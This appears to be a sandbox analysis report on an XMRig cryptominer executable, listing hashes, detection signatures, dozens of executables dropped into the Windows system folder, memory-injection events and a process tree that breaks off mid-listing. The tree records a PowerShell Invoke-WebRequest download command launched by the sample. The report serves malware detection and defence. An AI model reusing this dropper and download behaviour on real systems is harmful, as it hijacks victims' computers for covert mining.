xmrig | 9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
05/07/2024, 00:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
Size

1.1MB
MD5

c10afdddc243f841cab48a18827a946d
SHA1

f7b58fcd88548e96967fcb17364f39f820585a72
SHA256

9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c
SHA512

acd8097ae149852d50124d6acff23b84659225ae23a4d3df08895185d6b5c1c9e352a48532c0785f40f0f9411ff2dee44e452b713565e4d3fb4346baa028bf00
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkipfzaCt3Bbm6zzLA5JgLLi:Lz071uv4BPMki8CfVzz0y+

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 41 IoCs

miner

resource	yara_rule
behavioral2/memory/4952-416-0x00007FF75F940000-0x00007FF75FD32000-memory.dmp	xmrig
behavioral2/memory/680-381-0x00007FF717F60000-0x00007FF718352000-memory.dmp	xmrig
behavioral2/memory/2924-314-0x00007FF6F5060000-0x00007FF6F5452000-memory.dmp	xmrig
behavioral2/memory/2852-519-0x00007FF6B36E0000-0x00007FF6B3AD2000-memory.dmp	xmrig
behavioral2/memory/2392-535-0x00007FF6CBAD0000-0x00007FF6CBEC2000-memory.dmp	xmrig
behavioral2/memory/2044-603-0x00007FF62D9A0000-0x00007FF62DD92000-memory.dmp	xmrig
behavioral2/memory/3136-653-0x00007FF640330000-0x00007FF640722000-memory.dmp	xmrig
behavioral2/memory/1040-701-0x00007FF68F090000-0x00007FF68F482000-memory.dmp	xmrig
behavioral2/memory/3660-725-0x00007FF611D90000-0x00007FF612182000-memory.dmp	xmrig
behavioral2/memory/2328-702-0x00007FF632F10000-0x00007FF633302000-memory.dmp	xmrig
behavioral2/memory/3680-699-0x00007FF7DA4A0000-0x00007FF7DA892000-memory.dmp	xmrig
behavioral2/memory/1028-698-0x00007FF7C1530000-0x00007FF7C1922000-memory.dmp	xmrig
behavioral2/memory/3536-651-0x00007FF68A960000-0x00007FF68AD52000-memory.dmp	xmrig
behavioral2/memory/3168-650-0x00007FF68E650000-0x00007FF68EA42000-memory.dmp	xmrig
behavioral2/memory/2428-649-0x00007FF778170000-0x00007FF778562000-memory.dmp	xmrig
behavioral2/memory/4972-648-0x00007FF6A2930000-0x00007FF6A2D22000-memory.dmp	xmrig
behavioral2/memory/2512-652-0x00007FF681340000-0x00007FF681732000-memory.dmp	xmrig
behavioral2/memory/880-644-0x00007FF71B370000-0x00007FF71B762000-memory.dmp	xmrig
behavioral2/memory/2908-579-0x00007FF68B5A0000-0x00007FF68B992000-memory.dmp	xmrig
behavioral2/memory/5096-555-0x00007FF7DEE90000-0x00007FF7DF282000-memory.dmp	xmrig
behavioral2/memory/2564-518-0x00007FF6647E0000-0x00007FF664BD2000-memory.dmp	xmrig
behavioral2/memory/2652-288-0x00007FF75C3A0000-0x00007FF75C792000-memory.dmp	xmrig
behavioral2/memory/4676-49-0x00007FF721810000-0x00007FF721C02000-memory.dmp	xmrig
behavioral2/memory/2328-4465-0x00007FF632F10000-0x00007FF633302000-memory.dmp	xmrig
behavioral2/memory/3660-4470-0x00007FF611D90000-0x00007FF612182000-memory.dmp	xmrig
behavioral2/memory/5096-4500-0x00007FF7DEE90000-0x00007FF7DF282000-memory.dmp	xmrig
behavioral2/memory/2208-4747-0x00007FF7A72D0000-0x00007FF7A76C2000-memory.dmp	xmrig
behavioral2/memory/3136-4921-0x00007FF640330000-0x00007FF640722000-memory.dmp	xmrig
behavioral2/memory/4972-4868-0x00007FF6A2930000-0x00007FF6A2D22000-memory.dmp	xmrig
behavioral2/memory/3168-4630-0x00007FF68E650000-0x00007FF68EA42000-memory.dmp	xmrig
behavioral2/memory/2428-4639-0x00007FF778170000-0x00007FF778562000-memory.dmp	xmrig
behavioral2/memory/3680-4615-0x00007FF7DA4A0000-0x00007FF7DA892000-memory.dmp	xmrig
behavioral2/memory/880-4622-0x00007FF71B370000-0x00007FF71B762000-memory.dmp	xmrig
behavioral2/memory/1040-4579-0x00007FF68F090000-0x00007FF68F482000-memory.dmp	xmrig
behavioral2/memory/2044-4551-0x00007FF62D9A0000-0x00007FF62DD92000-memory.dmp	xmrig
behavioral2/memory/1028-4528-0x00007FF7C1530000-0x00007FF7C1922000-memory.dmp	xmrig
behavioral2/memory/2908-4546-0x00007FF68B5A0000-0x00007FF68B992000-memory.dmp	xmrig
behavioral2/memory/2852-4525-0x00007FF6B36E0000-0x00007FF6B3AD2000-memory.dmp	xmrig
behavioral2/memory/2924-4521-0x00007FF6F5060000-0x00007FF6F5452000-memory.dmp	xmrig
behavioral2/memory/2652-4518-0x00007FF75C3A0000-0x00007FF75C792000-memory.dmp	xmrig
behavioral2/memory/3536-4504-0x00007FF68A960000-0x00007FF68AD52000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
212	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3956	xHtRuLH.exe
4676	cvsYJxl.exe
2328	YyFjoTp.exe
2652	ixgZKCg.exe
2924	xBqJbJc.exe
680	DdoLaDr.exe
4952	QxcRjrs.exe
2564	ghDMLzr.exe
3660	uENTuCH.exe
2852	bHHkTPI.exe
2392	aUETYaj.exe
5096	SQOtAhg.exe
2908	gINFFmp.exe
2044	vQfYKyU.exe
880	KErbfBt.exe
4972	SWeWzyO.exe
2428	MZtgFGw.exe
3168	kUfgMhZ.exe
3536	rjNhxLq.exe
2512	ppzmUfX.exe
3136	uAMOmod.exe
1028	uUhZBuN.exe
3680	AfpNkuX.exe
1040	pGUaRsz.exe
1432	DzMypva.exe
2612	ootoKNT.exe
4756	dYXhnKH.exe
4112	UfdGNVt.exe
3552	soLlwLq.exe
2464	gdUtNti.exe
4392	vKHloGY.exe
3004	iIccJGS.exe
1232	pFXBhZO.exe
5100	BKPGZnq.exe
3092	NjwMyrh.exe
1236	fKZOVFl.exe
3088	jgkHACw.exe
2576	efHqVDh.exe
1468	nkWUvTX.exe
5024	nIsYzAF.exe
3964	hEAtQyd.exe
4120	KedLtIZ.exe
3108	ecfdWjM.exe
1096	ElXsYdQ.exe
4080	pIYQtTo.exe
2088	ELHrePj.exe
5092	irCOwJX.exe
3468	pghvrut.exe
5032	fcHxKuk.exe
1776	BYICZfE.exe
1228	fcItzcI.exe
2860	UdralGh.exe
600	ITSoTnl.exe
1184	CQPsSdm.exe
2264	FntjZws.exe
320	OETbitV.exe
3064	aTGFJeU.exe
5000	vKpOGcW.exe
4336	seltSQN.exe
1088	PVuOZRN.exe
5060	VHnlVgY.exe
1412	brmRmOA.exe
2456	pJxPqIr.exe
4460	hUhvCHK.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2208-0-0x00007FF7A72D0000-0x00007FF7A76C2000-memory.dmp	upx
behavioral2/files/0x00070000000234ab-94.dat	upx
behavioral2/files/0x00070000000234b5-164.dat	upx
behavioral2/memory/4952-416-0x00007FF75F940000-0x00007FF75FD32000-memory.dmp	upx
behavioral2/memory/680-381-0x00007FF717F60000-0x00007FF718352000-memory.dmp	upx
behavioral2/memory/2924-314-0x00007FF6F5060000-0x00007FF6F5452000-memory.dmp	upx
behavioral2/memory/2852-519-0x00007FF6B36E0000-0x00007FF6B3AD2000-memory.dmp	upx
behavioral2/memory/2392-535-0x00007FF6CBAD0000-0x00007FF6CBEC2000-memory.dmp	upx
behavioral2/memory/2044-603-0x00007FF62D9A0000-0x00007FF62DD92000-memory.dmp	upx
behavioral2/memory/3136-653-0x00007FF640330000-0x00007FF640722000-memory.dmp	upx
behavioral2/memory/1040-701-0x00007FF68F090000-0x00007FF68F482000-memory.dmp	upx
behavioral2/memory/3660-725-0x00007FF611D90000-0x00007FF612182000-memory.dmp	upx
behavioral2/memory/2328-702-0x00007FF632F10000-0x00007FF633302000-memory.dmp	upx
behavioral2/memory/3680-699-0x00007FF7DA4A0000-0x00007FF7DA892000-memory.dmp	upx
behavioral2/memory/1028-698-0x00007FF7C1530000-0x00007FF7C1922000-memory.dmp	upx
behavioral2/memory/3536-651-0x00007FF68A960000-0x00007FF68AD52000-memory.dmp	upx
behavioral2/memory/3168-650-0x00007FF68E650000-0x00007FF68EA42000-memory.dmp	upx
behavioral2/memory/2428-649-0x00007FF778170000-0x00007FF778562000-memory.dmp	upx
behavioral2/memory/4972-648-0x00007FF6A2930000-0x00007FF6A2D22000-memory.dmp	upx
behavioral2/memory/2512-652-0x00007FF681340000-0x00007FF681732000-memory.dmp	upx
behavioral2/memory/880-644-0x00007FF71B370000-0x00007FF71B762000-memory.dmp	upx
behavioral2/memory/2908-579-0x00007FF68B5A0000-0x00007FF68B992000-memory.dmp	upx
behavioral2/memory/5096-555-0x00007FF7DEE90000-0x00007FF7DF282000-memory.dmp	upx
behavioral2/memory/2564-518-0x00007FF6647E0000-0x00007FF664BD2000-memory.dmp	upx
behavioral2/files/0x00070000000234d0-232.dat	upx
behavioral2/files/0x00070000000234b1-231.dat	upx
behavioral2/files/0x00070000000234cf-230.dat	upx
behavioral2/files/0x00070000000234b9-226.dat	upx
behavioral2/files/0x00070000000234b0-220.dat	upx
behavioral2/files/0x00070000000234b8-211.dat	upx
behavioral2/files/0x00070000000234ce-210.dat	upx
behavioral2/files/0x00070000000234cd-209.dat	upx
behavioral2/files/0x00070000000234cc-208.dat	upx
behavioral2/files/0x00070000000234cb-198.dat	upx
behavioral2/files/0x00070000000234ca-195.dat	upx
behavioral2/files/0x00070000000234b7-193.dat	upx
behavioral2/memory/2652-288-0x00007FF75C3A0000-0x00007FF75C792000-memory.dmp	upx
behavioral2/files/0x00070000000234a7-187.dat	upx
behavioral2/files/0x00070000000234c9-183.dat	upx
behavioral2/files/0x00070000000234c8-182.dat	upx
behavioral2/files/0x00070000000234c4-176.dat	upx
behavioral2/files/0x00070000000234c3-167.dat	upx
behavioral2/files/0x00070000000234c2-163.dat	upx
behavioral2/files/0x00070000000234c1-162.dat	upx
behavioral2/files/0x00070000000234b2-158.dat	upx
behavioral2/files/0x00070000000234be-156.dat	upx
behavioral2/files/0x00070000000234bd-155.dat	upx
behavioral2/files/0x00070000000234bb-139.dat	upx
behavioral2/files/0x00070000000234ba-136.dat	upx
behavioral2/files/0x00070000000234a8-122.dat	upx
behavioral2/files/0x00070000000234ae-119.dat	upx
behavioral2/files/0x00070000000234a6-114.dat	upx
behavioral2/files/0x00070000000234c7-179.dat	upx
behavioral2/files/0x00070000000234c5-178.dat	upx
behavioral2/files/0x00070000000234ad-107.dat	upx
behavioral2/files/0x00070000000234ac-171.dat	upx
behavioral2/files/0x00070000000234b4-95.dat	upx
behavioral2/files/0x00070000000234aa-93.dat	upx
behavioral2/files/0x00070000000234a5-86.dat	upx
behavioral2/files/0x00070000000234bc-148.dat	upx
behavioral2/files/0x00080000000234a4-73.dat	upx
behavioral2/files/0x00070000000234af-133.dat	upx
behavioral2/files/0x00070000000234a9-70.dat	upx
behavioral2/files/0x00070000000234b6-104.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\xWseAMZ.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\VpGyIKu.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\rePFtjf.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\QlccaXx.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\zqAQuGo.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\gaqsCgk.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\SDUyIpG.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\tQSWuhJ.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\UujbYKI.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\byzjSxx.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\ERRQbXA.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\GNodTcV.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\ofRkKzm.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\EwQboGJ.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\ELHrePj.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\XGKZeMP.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\pElRYRy.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\QainkWs.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\XxyXJOx.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\vFKvDTa.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\wsPjZgx.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\UbGhbQF.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\mIsXmkW.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\JHgutVH.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\UxtkNVN.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\glXXdqp.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\yLxdLoM.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\lTJygOp.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\PNCKEjt.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\sZIPKUI.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\EAZJRgw.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\wUVvEkN.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\dYVBWfE.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\ODfeHBw.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\YEtdlPW.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\SEKYaic.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\ukUIvlD.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\vNEMmYp.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\zRzdFFu.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\qzmSXaf.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\QXtZdSs.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\FBdUhNa.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\GqMvzmM.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\GVGFQms.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\Kmbvyqf.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\ZnpaiYB.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\YjyaCds.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\ZupHLcG.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\SpkoSdH.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\BtZQoEe.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\zwDdNYy.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\NDuNoBa.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\tLZHbEx.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\PPHRQHI.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\jGXiwzy.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\UfWzZwM.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\wHLIwMn.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\rMMDSLL.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\zpFpezW.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\rhfkYQa.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\xozdmYT.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\JSzVlJo.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\MXVMPXn.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
File created	C:\Windows\System\RaLAdcY.exe	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
212	powershell.exe
212	powershell.exe
212	powershell.exe
212	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
Token: SeLockMemoryPrivilege	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
Token: SeDebugPrivilege	212	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 212	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	82
PID 2208 wrote to memory of 212	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	82
PID 2208 wrote to memory of 3956	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	83
PID 2208 wrote to memory of 3956	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	83
PID 2208 wrote to memory of 4676	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	84
PID 2208 wrote to memory of 4676	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	84
PID 2208 wrote to memory of 2564	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	85
PID 2208 wrote to memory of 2564	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	85
PID 2208 wrote to memory of 2328	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	86
PID 2208 wrote to memory of 2328	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	86
PID 2208 wrote to memory of 2652	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	87
PID 2208 wrote to memory of 2652	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	87
PID 2208 wrote to memory of 2924	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	88
PID 2208 wrote to memory of 2924	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	88
PID 2208 wrote to memory of 680	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	89
PID 2208 wrote to memory of 680	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	89
PID 2208 wrote to memory of 4952	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	90
PID 2208 wrote to memory of 4952	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	90
PID 2208 wrote to memory of 2428	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	91
PID 2208 wrote to memory of 2428	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	91
PID 2208 wrote to memory of 3660	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	92
PID 2208 wrote to memory of 3660	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	92
PID 2208 wrote to memory of 2852	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	93
PID 2208 wrote to memory of 2852	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	93
PID 2208 wrote to memory of 3136	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	94
PID 2208 wrote to memory of 3136	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	94
PID 2208 wrote to memory of 2392	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	95
PID 2208 wrote to memory of 2392	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	95
PID 2208 wrote to memory of 5096	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	96
PID 2208 wrote to memory of 5096	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	96
PID 2208 wrote to memory of 2908	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	97
PID 2208 wrote to memory of 2908	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	97
PID 2208 wrote to memory of 2044	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	98
PID 2208 wrote to memory of 2044	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	98
PID 2208 wrote to memory of 880	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	99
PID 2208 wrote to memory of 880	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	99
PID 2208 wrote to memory of 4972	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	100
PID 2208 wrote to memory of 4972	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	100
PID 2208 wrote to memory of 3168	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	101
PID 2208 wrote to memory of 3168	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	101
PID 2208 wrote to memory of 3536	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	102
PID 2208 wrote to memory of 3536	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	102
PID 2208 wrote to memory of 2512	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	103
PID 2208 wrote to memory of 2512	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	103
PID 2208 wrote to memory of 1236	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	104
PID 2208 wrote to memory of 1236	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	104
PID 2208 wrote to memory of 1028	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	105
PID 2208 wrote to memory of 1028	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	105
PID 2208 wrote to memory of 4120	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	106
PID 2208 wrote to memory of 4120	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	106
PID 2208 wrote to memory of 3680	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	107
PID 2208 wrote to memory of 3680	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	107
PID 2208 wrote to memory of 1040	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	108
PID 2208 wrote to memory of 1040	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	108
PID 2208 wrote to memory of 1432	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	109
PID 2208 wrote to memory of 1432	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	109
PID 2208 wrote to memory of 2612	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	110
PID 2208 wrote to memory of 2612	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	110
PID 2208 wrote to memory of 4756	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	111
PID 2208 wrote to memory of 4756	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	111
PID 2208 wrote to memory of 5032	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	112
PID 2208 wrote to memory of 5032	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	112
PID 2208 wrote to memory of 1776	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	113
PID 2208 wrote to memory of 1776	2208	9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe	113

C:\Users\Admin\AppData\Local\Temp\9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe
"C:\Users\Admin\AppData\Local\Temp\9121211a9edec8808dd2e6c3efa8646270f96b836830932e1bea20d2678e878c.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:212
- C:\Windows\System\xHtRuLH.exe
  C:\Windows\System\xHtRuLH.exe
  2⤵
  - Executes dropped EXE
  PID:3956
- C:\Windows\System\cvsYJxl.exe
  C:\Windows\System\cvsYJxl.exe
  2⤵
  - Executes dropped EXE
  PID:4676
- C:\Windows\System\ghDMLzr.exe
  C:\Windows\System\ghDMLzr.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\YyFjoTp.exe
  C:\Windows\System\YyFjoTp.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\ixgZKCg.exe
  C:\Windows\System\ixgZKCg.exe
